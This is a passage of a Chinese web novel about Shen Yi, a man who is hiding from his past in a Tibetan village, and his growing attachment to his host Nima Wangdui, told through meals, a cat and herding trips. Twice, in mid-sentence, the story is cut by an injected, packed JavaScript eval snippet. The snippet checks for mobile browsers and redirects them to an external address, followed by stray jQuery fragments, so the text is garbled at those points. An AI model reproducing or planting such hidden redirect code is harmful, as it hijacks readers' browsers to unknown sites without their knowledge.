世界安静了一瞬,然后炸开。父亲拂袖而去,母亲的眼神像淬了毒的仇恨。那场闹剧以他彻底被家族放逐而告终。很长一段时间,他以此为傲,觉得这是对父母虚伪婚姻最有力的反击。可如今回想,那其中有多少是源于对自身性.向朦胧的恐惧,以及借此伤害至亲的、幼稚的痛快? 直到大学,在室友们热火朝天地讨论异性、分享隐秘视频,而他只感到尴尬疏离甚至厌恶时,他才真正明白,那不是武器,而是真相。 天性如此,无法伪装,也无法用“报复”来完全解释。父母的婚姻是一场基于冲动的错误,而他的性.向,是与生俱来的底色,只是不幸地成为了那场错误战争中最显眼的祭品。 寒风依旧,但掌心下的温度似乎在一点点回升,不知是他的体温传递了过去,还是别的什么原因。 沈翊闭上眼,将额头轻轻抵在尼玛旺堆坚实的背脊上,外套上属于对方的气息更加清晰。那些沉重的过往,在这个寒冷而颠簸的归途中,在这个沉默而温暖的背脊后,似乎被疾驰的夜风吹散了些许。 取而代之的,是一种前所未有的、悬在半空的悸动,和一丝微弱却顽强的希冀。 10. 照顾过头 摩托车的轰鸣是这寒夜里唯一的节奏,沈翊将脸埋在尼玛旺堆宽阔的后背,掌下那只冻红的耳朵渐渐有了暖意,却仿佛在他心里点起了一把无法熄灭的火。 这亲密的接触,像一把钥匙,不仅打开了尘封的家族创伤,也让他无法控制地回溯起更私密、更琐碎的青春阵痛。 记忆的碎片在颠簸中纷至沓来。大学男生宿舍里那些充满荷尔蒙的、令他如坐针毡的时刻,比如,有人会在水声哗哗的厕所里,毫无顾忌地比较着身体部位,发出夸张的哄笑。 那时的沈翊只想变成墙壁上一块没有知觉的瓷砖,或者直接从世界上蒸发。还有那位公认的“宿舍门面”,情史丰富得像一本不断连载的言情小说,空窗期从不超过两周。 大家私下里也会调侃他“渣”,玩笑道德风险,那人却总是漫不经心地晃着腿,用一种近乎哲理的语气说: “感情嘛,跟投资一样,有赚有赔,高风险高回报。我玩我的心跳,你们走你们的纯爱路线。”他的目光有时会落在总是沉默的沈翊身上,带着点戏谑,“尤其是你,沈翊,长得人模狗样,居然母胎单身?说出去得让多少对你有想法的姑娘幻灭啊!谁能想到帅哥壳子里装的是个爱情绝缘体?” 每当这种时候,沈翊只能扯出一个干巴巴的笑,迅速转移话题,心脏却在胸腔里尴尬地缩紧,生怕那层努力维持的“正常”外壳被轻易戳破。 大一秋天,室友们纷纷坠入爱河,有人甚至信誓旦旦毕业就结婚。他被热心的室友拖着参加各种社团联谊,美其名曰“拓展社交”,实则是一场针对他的、温柔而持续的“相亲”安排。 沈翊厌恶“物色”这个词,那让他感觉自己像货架上的商品,也让他对室友们的好意感到沉重的负担。直到某次活动,一个真正优秀开朗的女孩向他明确表示好感。拒绝的那一刻,他看着她骤然黯淡却依旧保持礼貌的眼睛,心里没有惋惜,只有一种尘埃落定无奈,不是伪装,不是反抗家庭的工具,他是真的,天生如此。 确认这一点时,他甚至有种扭曲的轻松。 看惯了父母和那位“门面”室友的混.乱.情.史,他曾以为自己也会在解放后纵情声色,游戏人间。然而并没有。他的前半生,真正纠缠过的,只有江泽一个。能让他放下所有戒备拥抱亲吻的,也只有那一个人。他曾经以为自己是痴情种,现在想来,或许只是胆怯,害怕踏入那片从未真正涉足、且注定艰难的领域。 曾经那位与他成为挚友的男生,在毕业散伙饭的喧嚣中,曾红着眼眶,用力握着他的手,以自身四年无果的苦涩单恋换来一句血泪教训:“沈翊,记住,千万别喜欢直男。更别妄想能掰弯他们。”这句话,沈翊曾以为会是保护自己的金科玉律。 可现在呢?沈翊感受着掌心下尼玛旺堆耳廓的轮廓,感受着透过厚重衣物传来的、对方背脊的坚实温度。 这算什么?才认识几天,他竟然对这个生活在另一个世界、思维迥异、口口声声“不喜欢男生”的直男,产生了如此深重的依赖和……贪恋。是因为这远离尘嚣的环境?还是因为对方身上那种未经雕琢的、纯粹至极的善意,恰好击中了他内心最荒芜、最渴望被填补的部分? 摩托车的速度慢了下来,熟悉的院落轮廓出现在视线里。到家时,已过凌晨一点。炉火早已熄灭,房间里的空气冷得几乎凝滞,与屋外相差无几。 尼玛旺堆轻手轻脚地开门,先让沈翊进去,自己才跟入,迅速反手关紧门,将寒风隔绝在外。他们一起上楼,他动作麻利地掀开沈翊床铺上厚重的被子,用手探了探里面的温度,眉头微皱,显然对这份冰冷不太满意。接着,他转身打开墙边的木柜,拿出一套叠得整齐的、干净的藏式内衣和一件厚实的旧毛衣,递过来:“哥,赶紧把湿衣服换下来。我去烧点水,熬个姜汁可乐驱驱寒。” 沈翊接过那叠衣服,布料柔软,带着柜子里淡淡的樟木和阳光味道。他看了一眼自己放在墙角的行李箱,犹豫了一瞬。穿对方的贴身衣物,似乎过于亲密了。最终,他还是走向自己的箱子,拿出了干净衣物。 他告诫自己:别多想,直男的思维里可能根本没有这些弯弯绕绕,倒是自己这个“恋爱脑”,容易自作多情,陷入不必要的解读。 换衣服时,房间里安静得能听见自己窸窣的穿衣声和心跳。他拿出手机,屏幕亮起的瞬间,一条消息提示猛地撞入眼帘——来自江泽的一封邮件。 那个名字像一根扎在心上的针,刺破了此刻艰难积聚起来的一点暖意。沈翊的手指悬在屏幕上方,迟迟没有点下。他并非铁石心肠,也清楚自己心里某个角落,尚未将关于江泽的一切彻底放下。如果不是那样不堪的方式撞破,以他对感情的惯性执着,或许真的会一次次原谅。毕竟,那些共同度过的岁月,那些曾经以为能指向永恒的瞬间,并非全是虚假。 锁屏照片恰好是他们的毕业合影。阳光下,两人头靠着头,笑容明亮,看起来幸福得天衣无缝。沈翊凝视着,心底涌起巨大的荒谬感。曾经笃信不疑的“一生”,为何如此轻易就变了质地?也许从一开始就不该相信“爱”这种过于理想化的概念?可人终究是渴望温暖的动物,一个与你毫无血缘的人,承诺爱上你并愿意共度余生。这种诱惑,对于在亲情中饱尝失望的他来说,曾是抵御整个世界寒意的唯一火种。 “哥,换好了吗?”尼玛旺堆的声音压得很低,从门帘外传来,小心翼翼,生怕惊扰了隔壁已经歇息的母亲。 沈翊深吸一口气,仿佛将那张毕业照带来的滞重情绪暂时压下,起身掀开门帘:“好了。” 尼玛旺堆手里端着两个冒着滚滚热气的马克杯,姜和可乐混合的独特的气息扑面而来。他将其中一杯塞到沈翊手里:“快,趁热喝下去,发发汗。”他的指尖不经意间碰到了沈翊的手背,温热干燥。 不等沈翊回应,他又转身出去了,很快抱着一个小纸箱回来,里面琳琅满目,是各种品牌的感冒药、退烧药、消炎药,胶囊、药片、冲剂,应有尽有。他将纸箱放在小桌上,脸上带着一种近乎憨厚的、完成任务的骄傲:“我把村里小卖部和卫生所里能买的感冒药都拿了一盒。哥,你看看你平时习惯吃哪种?赶紧吃上,先预防在世。” 沈翊看着那一堆药,愣住了。心里那点因江泽邮件而生的阴郁,被这夸张又朴实的关怀冲得七零八落,只剩下满满的、近乎酸软的震动。“这……太多了,我哪吃得了这么多。” 尼玛旺堆有些不好意思地挠了挠后颈:“我怕哥你对这边的药不习惯,或者有些成分过敏……反正有备无患嘛。”他催促道,“你快看看,挑着吃。” 沈翊依言,找出自己常备的两种药,就着温热的姜汁可乐服下。暖流从喉咙滑入胃袋,迅速向四肢扩散,确实驱散了不少寒气。他放下杯子,看着尼玛旺堆仔细地将剩余药品收回箱子,那个问题再次不受控制地浮上心头:为什么要做到这个地步?仅仅因为我是客人?还是这片土地上的人们,天性就是如此炽热无私? 尼玛旺堆放好药箱,回头问:“哥,饿不饿?想不想吃点东西?这么一折腾,胃里空了吧。” 沈翊看了眼手机,凌晨两点。“这个点,哪有吃的?” “外面肯定没了,”尼玛旺堆摇头,“不过我可以做点简单的。阿妈晚上应该给我们留了吃的,热一下就行,不会吵到她。” 前任江泽从未为他下过厨,甚至连一杯热水都鲜少主动递过。沈翊心里泛起一丝复杂的滋味,点了点头: “好,麻烦你了。” “不麻烦。”尼玛旺堆起身,走到房间另一侧,从柜子高处搬下一个有些年头的纸盒,打开,里面整整齐齐码 放着许多用塑料套封好的光碟。他抱着盒子走过来,放在沈翊手边:“哥,你先看看碟子,挑个想看的。我去热饭,很快。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182983|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈翊接过盒子,沉甸甸的,像是装着一整个旧时光。他盘腿坐在垫子上,就着灯光翻阅。碟片绝大多数是动漫,《七龙珠》、《火影忍者》、《海贼王》、《死神》……还有零星几部老版武侠剧。他并不热衷动漫,但此刻也无心挑剔,随手拿起一枚《火影忍者》第一部的碟片,封面上漩涡鸣人的笑容灿烂依旧。 当尼玛旺堆用一个小托盘端着两碗热气腾腾的面食进来时,沈翊正对着那堆光碟出神。 “快接着,哥,小心烫。”尼玛旺堆将其中一碗面放在沈翊面前的小桌上,另一碗放在自己那边。碗里是手工切的面条,粗细均匀,浸在浓香的汤底里,上面铺着一层炒得喷香的牛肉沫和葱花,令人食指大动。 沈翊由衷赞叹:“这面看着就好吃。” “自家做的面,筋道。”尼玛旺堆笑着,递过一双筷子,自己也坐了下来。他指指沈翊手边的碟片盒子, “哥,选好了吗?想看哪个?” “就这个吧。”沈翊把《火影忍者》的碟片递过去,“好多年没看过光盘了,有点怀念。” 尼玛旺堆接过碟片,走到那台老式电视机和DVD播放机前,熟练地擦拭碟面,开机,放入。一阵读盘的嗡嗡声后,电视屏幕上出现了熟悉的片头画面与音乐。他调试好音量,确保不会传得太远,这才回到垫子上坐下。 “这些碟片年头都不短了吧?保存得真好。”沈翊挑起一筷子面,吹了吹气。 “嗯,有些是我阿姐买的,有些是我小时候攒零花钱买的。”尼玛旺堆也大口吃起来,声音有些含糊,“现在电脑上看更方便,但这些老碟片舍不得扔。尤其是火影,买过两套,第一套是日文原声的,听惯了,后来买的中文版反而觉得别扭。” 沈翊挑起一筷子面条送入口中,手工面的筋道爽滑混合着醇厚的骨汤和炒得喷香的牛肉末,瞬间征服了他的味蕾。他眼睛一亮,迅速咽下这一口,忍不住问:“这面……真是你们自己做的?” 尼玛旺堆嘴里还塞着面条,用力点了点头,快速咀嚼几下咽下去才开口解释:“面是拿到市里专门的铺子用机器切的,但面粉、鸡蛋都是自家带的,和面、揉面也是阿妈来的。店里也有现成的材料,但我们总觉得自家的更好些。”他又吸溜了一大口,满足地眯了下眼,“鸡蛋得一个一个打到面粉里,不能含糊。” 两人边吃边看,老旧电视的光映在脸上明明灭灭。那只神出鬼没的猫不知何时又溜了进来,悄无声息地蹭到尼玛旺堆脚边,用脑袋拱了拱他的小腿。 尼玛旺堆快速扒完最后几口面,放下碗,顺手从自己碗里挑出一小块不带汤汁的牛肉,又拿起角落里那个专属于猫的、巴掌大的小碗,将肉放进去,推到墙角。猫咪立刻跟过去,低头嗅了嗅,慢条斯理地吃起来。 “它倒是一点不怕你。”沈翊看着这一幕,觉得有趣。 “装的。”尼玛旺堆收拾着自己的碗筷,笑道,“它精明着呢,知道谁手里有吃的。等吃饱了,你看它还理不理我。” 沈翊看着尼玛旺堆自然的侧脸,看着他对待猫咪那份不经意的温柔,看着他为自己忙前忙后、准备一切的身影。深夜的寒意被热汤和屋内的气氛驱散,取而代之的是一种宁静的、让人心安的暖意。屏幕上的少年们正在为了梦想和羁绊热血奋战,而在这个遥远藏地村落的小房间里,时间仿佛流淌得格外缓慢。 一些极其细微的东西,如同春日尚未融化冰面下的暗流,正在悄然涌动。沈翊不再去深究那份“好”的缘由,他让自己沉浸在这种被细致照顾的当下。 那些关于过去的邮件,关于未来的迷茫,似乎都被这碗热汤、这部老动画、还有眼前这个人身上散发出的安定感,暂时地隔绝在了这个温暖夜晚之外。 他只是隐约觉得,某些坚固的东西正在松动,某些新的、他尚无法命名的东西,正在这片星空下的土地上,悄然萌芽。 11. 有趣的猫 尼玛旺堆加快速度吃完最后几口,放下碗,看向沈翊:“哥,吃饱了没?”他吃饭的速度实在惊人,那么一大碗面,沈翊才吃了一半不到。 沈翊在心里默默感叹了一句“这饭量果然‘正常’得惊人”,摇摇头,展示了一下自己还剩大半的碗:“还没,你吃你的。” 尼玛旺堆“哦”了一声,顺手拿起墙角那个属于猫咪的、巴掌大的小碗:“那我再去添一点。”他起身时,那猫也立刻竖起尾巴,亦步亦趋地跟在他脚后跟出去了。不一会儿,一人一猫又回来了,尼玛旺堆手里端着自己的碗,猫则紧跟在他腿边。 “这猫好像特别黏你。”沈翊看着有趣。 尼玛旺堆把碗放回小桌,弯腰拿起那个小碗,里面果然也盛了一点面条和肉末。他走到墙角蹲下,将碗放在老位置,笑道:“还是那句话,它装的。它精着呢。 沈翊看着猫凑到碗边,先谨慎地嗅了嗅,可能觉得烫,缩回脑袋,又忍不住再嗅,最后干脆绕到尼玛旺堆脚边,用身体蹭他,发出细微的叫声。 尼玛旺堆见状,连忙扒拉几口自己的面,然后走过去,拿起猫碗,又从碗柜抽屉里拿出另一个同样的小碗,将面在两个碗之间倒来倒去,低头仔细吹着气。他用手背试了试温度,觉得差不多了,才重新放回地上。这次,猫凑过去闻了闻,终于开始小口吃起来。 “猫居然吃面条?”沈翊觉得稀奇。 “嗯,它吃。”尼玛旺堆坐回垫子上,继续吃自己的,“不仅吃面,还爱喝酥油茶。” “谁?猫?”沈翊愕然。 “对,小猫。”尼玛旺堆语气平常,“都说猫不能吃太油腻,但它就是喜欢。不过比起酥油茶,它更爱喝那种纸盒装的纯牛奶,咬开一角就能喝。比纯牛奶更喜欢的,是我们本地的酸奶。但这些都比不上它最爱的主食,泡过酥油茶的油饼。” 沈翊听得一愣一愣的,这猫的饮食习惯未免太“接地气”。“它这么不挑食?” “也不是完全不挑。”尼玛旺堆收拾着自己面前的桌面,“我们怕它吃杂了生病,也试着喂过猫粮。结果买回来,它嫌味道臭,碰都不碰。没办法,只能先拿一点放在通风的地方,等味道散得差不多了,它才勉强吃几口。” 沈翊转头看那只正吃得专注的猫,难怪它皮毛油亮,体型敦实。“它多大了?” 尼玛旺堆想了想,不太确定:“具体记不清了,它来我家的时候我好像刚开学没多久。算起来,大概有七年了吧。” 猫很快吃完,舔舔爪子,慢悠悠地踱步经过沈翊脚边。尼玛旺堆眼疾手快地想伸手捞它,那猫却像背后长了眼睛,倏地一下蹿开,转眼就消失在门帘外,动作轻盈迅捷。 尼玛旺堆保持着伸手的姿势,转头对沈翊笑,笑容里带着点“你看吧”的得意:“瞧见没?哥,我就说它不亲人。想抱它,只能趁它睡得迷迷糊糊的时候偷袭一下。” 沈翊不得不服:“确实够高冷。” “这样才好。”尼玛旺堆收回手,语气里带着一种放心的意味,“在农村,猫就得保持点警惕和野性,才能活得自在。不然别的猫来了,容易打架。猫打起架来凶得很,跟狗打架有得一拼,拉都拉不开。” “你见过猫打架?”沈翊好奇。 尼玛旺堆摸出他那部屏幕裂纹密布的手机,划拉几下,找到一个视频点开。画面有些模糊,但能看清两只猫在院墙下对峙,一只狸花,一只纯黑,相互龇牙低吼,脊背弓起。下一秒,两只猫猛地扭打在一起,猫毛飞舞,动作快得让人眼花,黑猫似乎渐渐落了下风。这时,画外传来一声呵斥,黑猫趁机挣脱,敏捷地跳上墙头跑了。 “它们打架的时候,人去拉会不会被抓伤?”沈翊问。 “会啊。”尼玛旺堆点头,“我阿姐就被狠狠咬过一口。也是冬天,有只外来的黑猫跑进家里,大概是发.情了,晚上叫得厉害。我家这只平时不爱待屋里,总往外跑,像个街溜子,只有冬天冷得受不了才准时回来。那晚它没进来,在窗户外面叫。我阿姐被吵醒,以为它被关在外面,爬起来开门,结果发现猫在楼上叫。她刚躺下,猫又叫了。来回几次,阿姐火大了,伸手去抓它想抱进来,结果被结结实实咬了一口,血流了不少。”他翻出另一张照片,是德吉次仁手背上清晰的牙印,伤口颇深。 “没去打疫苗?”沈翊皱眉。 “没去。”尼玛旺堆摇头,调出当时搜索的页面,“查了说家猫一般没事,而且大半夜的,就算了。后来阿妈还笑话阿姐,说她是‘阻止小猫谈恋爱才挨的咬’,气得阿姐脸都黑了,好几天没理那猫。” 沈翊失笑:“你们家日常还挺……热闹。” 尼玛旺堆也笑了,有些无奈:“主要是我阿姐,她有时候会跟猫啊、狗啊、甚至羊说话,就像跟人聊天一样。有些亲戚觉得她……想法跟一般人不太一样。” “她是喜欢小动物。”沈翊说。 尼玛旺堆想了想:“喜欢是喜欢,但可能也不全是……她就是习惯照顾它们,觉得有责任。” 话题从猫自然跳开。沈翊也拿出自己的手机,翻出一些旧照片。“这是我在城里一家爬宠店拍的。”照片里有颜色鲜艳的蜥蜴、蹲在苔石上的树蛙,还有几条缠绕在树枝上的蛇,甚至有沈翊自己将一条黄白相间的蛇托在手中的照片。 尼玛旺堆凑近看,指着那条蛇问:“摸起来什么感觉?” “凉凉的,滑滑的,像质地很好的玉石。”沈翊回忆道。 “你不怕?” “不怕,觉得很有意思。”尼玛旺堆仔细看着那些照片和视频,眼神里是真切的好奇,没有寻常人见到爬虫时常有的厌恶或恐惧。 电视里,《火影忍者》正播到鸣人与白在桥上对决的经典段落。沈翊收回视线:“很多人觉得它们长得吓人。” “我觉得挺好看。”尼玛旺堆点开沈翊盘蛇的那段视频,那条玉米蛇在他手腕上缓慢游动,姿态优雅,“这蛇没毒吧?” “嗯,玉米蛇,很温顺。”沈翊又找出另一段视频,里面是一条通体黝黑、体型更细小的蛇,在沈翊手中不安分地扭动,吐着信子,“这条脾气就比较烈,是店里最凶的一条,我当时还挺紧张,怕它咬我。” 尼玛旺堆盯着那条黑蛇,尤其它那双亮晶晶的、宛如黑曜石的眼睛,评价道:“它长得真漂亮,眼睛特别有神。” “我就是看中了它的眼睛。”沈翊像是找到了知音,语气里带着点小兴奋。 看完视频,尼玛旺堆像是突然想起时间,看了一眼电视屏幕下方跳动的数字:“哥,吃饱了吗?” “饱了,很好吃。”沈翊放下筷子。 “那咱们得睡了,明天还要早起。”尼玛旺堆说着,见沈翊起身要收拾碗筷,立刻拦住,“放那儿,明早再说。”他不由分说地接过碗筷,放到电视机旁边的矮柜上。 房间里的灯熄了,只有窗外雪地反射的一点微光。两人躺在各自的床铺里,被厚重温暖的藏被包裹。黑暗中,尼玛旺堆的声音传来,比白天低沉些,带着睡意初临的柔软:“哥,明天我要去放牛,你……有什么打算?” 沈翊在黑暗中眨了眨眼。打算?他逃离那个城市时,根本没有任何“打算”。此刻,他只想抓住眼前这份令人安心的、具体的“生活”。“我没什么事……如果你不嫌我碍手碍脚,我想跟你一起去。”他说得有些小心,怕这份追随成为对方的负担。 沉默了一两秒,尼玛旺堆的声音传来,清晰而温和:“好。那哥,晚安。明天我叫你。” “晚安。” 这是沈翊在西藏的第二个夜晚。 身体是疲惫的,胃是暖的,心里那些盘根错节、针扎似的杂乱心事,似乎被这一整日的奔波、寒冷、意外的尴尬,以及此刻这简单的一句“晚安”暂时挤到了角落。他很快沉入了无梦的睡眠,仿佛身体本能地知道,需要为即将到来的、真实的“生活”积蓄力量。 晨光再次透过绘有彩色图案的窗户,将一种带有岁月质感的暖金色投在木地板上。沈翊被生物钟唤醒,摸出手机,对着光束中飞舞的微尘和古朴的室内陈设拍了一张。 他转过头,对面尼玛旺堆的床铺已经空了,被子叠得整齐。那只猫却不知何时又霸占了他的床尾,蜷成一团白色毛球,睡得正香,仿佛那张床天生就是它的领地。 沈翊轻手轻脚起床,来到生着火炉的主屋。炉火正旺,驱散了清晨的寒意。屋里除了阿妈米玛啦,还有一个陌生的藏族小伙,正和尼玛旺堆用藏语热烈地交谈着什么,两人脸上都带着笑容。沈翊的脚步在门口顿了顿,一种熟悉的疏离感悄然漫上心头,那种因语言不通而被隔绝在热闹之外的轻微窒息感。但他随即压下这丝不快,提醒自己,客人的本分就是不要奢求过多。 尼玛旺堆看见他,立刻停下话头,拿起热水壶:“哥,醒了?需要新的牙刷毛巾吗?我拿给你。” “不用,我都带了。”沈翊摆摆手,返回房间拿出自己的洗漱用品,走到院子的自来水龙头旁。他小心地兑着冷热水,在清冽的空气中完成洗漱。等他再回到主屋时,那位小伙子正准备离开。阿妈米玛啦端着倒满酥油茶的木碗递给他,两人又用藏语简短地说了几句,阿妈米玛啦一直将人送到楼梯口,尼玛旺堆则跟着送到了大门外才折返。 语言再次成为透明的屏障。沈翊安静地看着这一切,感受着这个家庭内部自然流畅的互动,那是一种他无法参与,却令人羡慕的紧密联结。 阿妈米玛啦回来,看到沈翊站着,立刻慈爱地拉他坐到火炉边最好的位置,给他倒上热茶,又转身从炉子上的大锅里盛出满满一碗热气腾腾的面条,配上崭新的筷子,推到他面前。尼玛旺堆抱着一捆干柴进来,放下后和母亲低声交谈了几句。阿妈米玛啦拍了拍儿子的手臂,又指了指沈翊,说了些什么。 尼玛旺堆走到沈翊身边,翻译道:“我阿妈说,让你多吃点,别客气,把这里当自己家。她说你太瘦了。” 沈翊心头一暖,转向阿妈米玛啦,双手合十,微微欠身:“谢谢阿姨。” 尼玛旺堆笑着翻译。阿妈米玛啦听后,露出更加慈祥的笑容,用生硬的、带着浓重口音的汉语努力说道:“不可气,不可气。”发音虽不标准,那份心意却直白滚烫。说完就出去了。 尼玛旺堆又笑着纠正她的发音,老人笑着摆手,表示学不会,转身又去忙活了。 沈翊拿起筷子,问正在柜子边拿碗的尼玛旺堆:“你吃过了吗?” “还没。”尼玛旺堆拿出自己的木碗,从另一个罐子里舀出糌粑,又倒入一点酥油茶,熟练地用手调和起来。 沈翊看看自己碗里的面条,又看看他碗里糊状的糌粑,有些诧异:“你不吃面条?” “我早上习惯吃这个,”尼玛旺堆晃了晃手里的木碗,“营养足,顶饿。这锅面条是阿妈专门给你煮的。”他说得极其自然。 沈翊握着筷子的手却紧了紧。专门为他煮的……这种特别的、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182984|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 额外的关照,让他感到温暖,也让他不安。他放下筷子,声音有些低:“我是不是……给你们添了很多麻烦?因为我,你们要多准备一份饭,多操很多心。” 尼玛旺堆正将一小块酥油揉进糌粑里,闻言惊讶地抬起头,似乎完全没料到他会这么想:“哥,你怎么会这么想?不就是多双筷子多个碗的事吗?这算什么麻烦?”他看着沈翊,眼神坦荡真诚,“我们总不能逼你吃你不习惯的东西。而且,”他语气认真了些,“哥,你是真的瘦,在这里要是因为吃不好再瘦下去,身体会受不了的。” 他的理由如此朴实直接,让沈翊那些都市里带来的、过于敏感的思虑显得矫情而多余。沈翊有些讪讪地重新拿起筷子,心底那点不安被这份坦然的热情慢慢熨平。他看着尼玛旺堆吃得香甜,那糌粑看起来粗糙,却散发着朴实的粮食香气,不禁好奇:“这个……好吃吗?我能尝一点吗?” “当然。”尼玛旺堆很大方的把碗递过去,拿出另一个小碗——正是昨晚猫用过的那种,“哥,你自己弄点尝尝,吃不完放着就行。” 沈翊看着那个小碗,有点迟疑:“这……不是猫碗吧?” 尼玛旺堆笑了:“就是它的。它也爱吃这个,尤其是拌了酸奶的。” 沈翊舀了一小勺调好的糌粑送进嘴里。口感很独特,粗粝中带着青稞的焦香和酥油的醇厚,咸香里又有一丝若有若无的奶甜,并不难接受,是一种扎实而原始的滋味。 这时,阿妈米玛啦转着经筒进来,那只猫果然跟在她脚边。 猫进来后,先是在阿妈米玛啦身边蹭了蹭,然后溜达到尼玛旺堆旁边。尼玛旺堆很自然地把给它弄完的小团糌粑放在他的碗里,递给它。猫低头嗅嗅,很快舔食干净。 尼玛旺堆又把自己碗里的茶水倒了一点在它的碗里,不烫也不热,猫也凑过去小口舔着。吃饱喝足,它便回到阿妈米玛啦脚边,找了个温暖的位置,蜷身卧下。 沈翊看着这一幕,忽然对尼玛旺堆那句“猫也认识回家的路”有了更深的体会。在这里,人与动物的关系,建立在一种相互依存又彼此独立的、充满生活智慧的平衡之上。 “哥,还要再来点吗?”尼玛旺堆问。 “不用了,饱了。”沈翊连忙摆手。 尼玛旺堆没再勉强,快速吃完自己的糌粑,收拾好碗筷,又用藏语和母亲说了几句话。然后他对沈翊说:“哥,今天风大,得多穿点。一会儿我们去放牛。” 两人来到院子,摩托车已经推了出来。墙角只拴着几头明显还小的牛犊,不见其他大牛的踪影。 “其他牛呢?”沈翊问。 “哦,让早上来那个朋友一起赶过去了。”尼玛旺堆发动摩托车,引擎发出熟悉的轰鸣,“他是我邻居,我昨晚就跟他说了,今早我可能晚点,请他帮我把牛一起带过去。他来得早,自己家的牛放完才过来的。” 沈翊算了算时间,那意味着天不亮就得起床。“这么早?” “嗯,放牛就是这样,得赶早。”尼玛旺堆说得平常,跨上摩托车。虽是上午十点,阳光明亮,但高原的风裹着寒意,直往骨头缝里钻。尼玛旺堆打量了一下沈翊的穿着:“哥,你最好再加件外套,今天风硬,比昨天冷。” 沈翊想起昨夜湿透裤子的教训,从善如流,立刻回屋加了件厚实的羽绒背心。再出来时,尼玛旺堆已经戴好了手套和护耳,示意他上车。 摩托车再次驶上熟悉的土路。经过两天的颠簸,沈翊似乎开始适应这种原始的交通工具,甚至敢在相对平稳的路段,单手扶着尼玛旺堆的腰,腾出另一只手快速拍几张苍茫辽阔的远景。 他们抵达湿地保护区边缘时,没有像昨天那样寻找偏僻的入口,而是老老实实走了正门附近的土路。入口处立着标明保护区级别的牌子。旁边空地上,两个穿着藏袍的男人盘腿而坐,中间摊开一块布,上面摆着几个大海螺和当作间隔的硬币,一个倒扣的木碗下似乎藏着骰子,两人正玩得投入,神情专注。 尼玛旺堆停好车,走上前,用藏语打招呼,询问他们是否快结束了。其中年长些、留着浓密胡须的男人抬起头,见是尼玛旺堆,严肃的脸上露出笑容,也用藏语回应。他的目光随后落到沈翊身上,带着善意的好奇,用藏语向尼玛旺堆确认:“这就是住你家的那位客人?” 尼玛旺堆点头称是。 沈翊虽听不懂,却能感受到那目光里的打量并无恶意,他笑着对两人点了点头,说了句:“你们好。” 两个男人也立刻露出有些局促但热情的笑容,用发音生硬的汉语回应:“你好!你好!” 沈翊站在一旁,看着尼玛旺堆很自然地蹲下,观看他们的游戏,并用藏语闲聊几句。青年宽阔的肩背在高原明亮的阳光下显得格外扎实可靠,侧脸线条清晰,神情放松而专注。风将他额前微卷的黑发吹动,也送来他身上那股混合着阳光、尘土和淡淡酥油气的、令人安心的味道。 沈翊忽然清晰地意识到,自己正在一步步被拽入一个完全由尼玛旺堆主导的、真实而粗糙的生活节奏里。 这种“跟随”,并非被动,而是一种带着隐秘甘愿的沉浸。 每一次颠簸,每一阵寒风,每一句听不懂却充满生命力的对话,甚至此刻站在一旁等待的短暂无聊,都在悄然磨损他过去世界里那些精致的疏离和理性的枷锁。某种更原始、更本能的东西,正在这片土地凛冽的空气和身边这个青年沉默而坚实的背影里,悄然苏醒,破土生长。 12. 关于经幡 尼玛旺堆放下手里的东西,用藏文对那位留着大胡子的老人说:“叔,你们先玩,我去里头看看。” 老人一手顺着胡子,一手把玩着海螺边的砝码,眼睛没离开棋局,只朝他摆了摆手。 尼玛旺堆点点头,带着沈翊往湿地深处走。 午后的阳光滤过稀疏的云层,落在泛着湿气的草甸上,竟映出一片朦胧的绿意。湖水中央簇拥着一小片树林, 树荫下,几头牛正卧着睡觉,姿态慵懒。 沈翊的注意力却被湖畔树丛里星星点点的蘑菇吸引了。他下意识拉住尼玛旺堆的袖子,“这些蘑菇,不摘吗?”问完,指尖传来的粗粝布料触感和对方手臂瞬间绷紧的力道,让他倏地松开了手。 尼玛旺堆蹲下身,以一种近乎折叠的姿势凑近蘑菇丛,仔细看了看菌盖内侧。“里面发黑,不摘。”他直起身,拍掉裤腿上的泥点。 “可我记得有人收蘑菇?”沈翊有些不解。 “我们很少在这类地方找吃的,”尼玛旺堆解释道,声音在空旷的湿地显得格外清晰,“顶多……偷偷装几袋腐叶土回去养花。”他笑了笑,那笑容里有种孩子气的心虚,冲淡了周遭略带荒芜的寂静。 沈翊被他那笑晃了一下眼,随即移开视线,指向湖心:“那片树林,不能去看看?” “水看着不深,底下却是淤泥,容易陷进去。”尼玛旺堆摇头,“安全起见,远远看看就好。”他的语气很自然,带着一种在此地生活多年积累的、不容置疑的笃定。这份笃定奇异地安抚了沈翊的陌生感,却也让他更清晰地意识到两人之间那道无形的界限,他是闯入者,而尼玛旺堆是这里的一部分。 继续前行,脚下时而是松软的草甸,时而是渗水的湿地。走了约莫两小时,沈翊感到腿脚发沉,高原稀薄的空 气让疲惫感加倍袭来。“我们……什么时候往回走?”他喘了口气。 尼玛旺堆指向远处一道隐约的栏杆,“到那儿,看完就回。”距离看着不远,但湿地地形起伏,走过去仍需一番功夫。 正走着,一位身着黑色藏袍的妇人迎面而来。她左手握着一根长长的树枝,右手轻巧地拎起袍角,以便在湿地上行走。见到尼玛旺堆,她脸上绽开笑容,用藏语熟稔地打招呼。 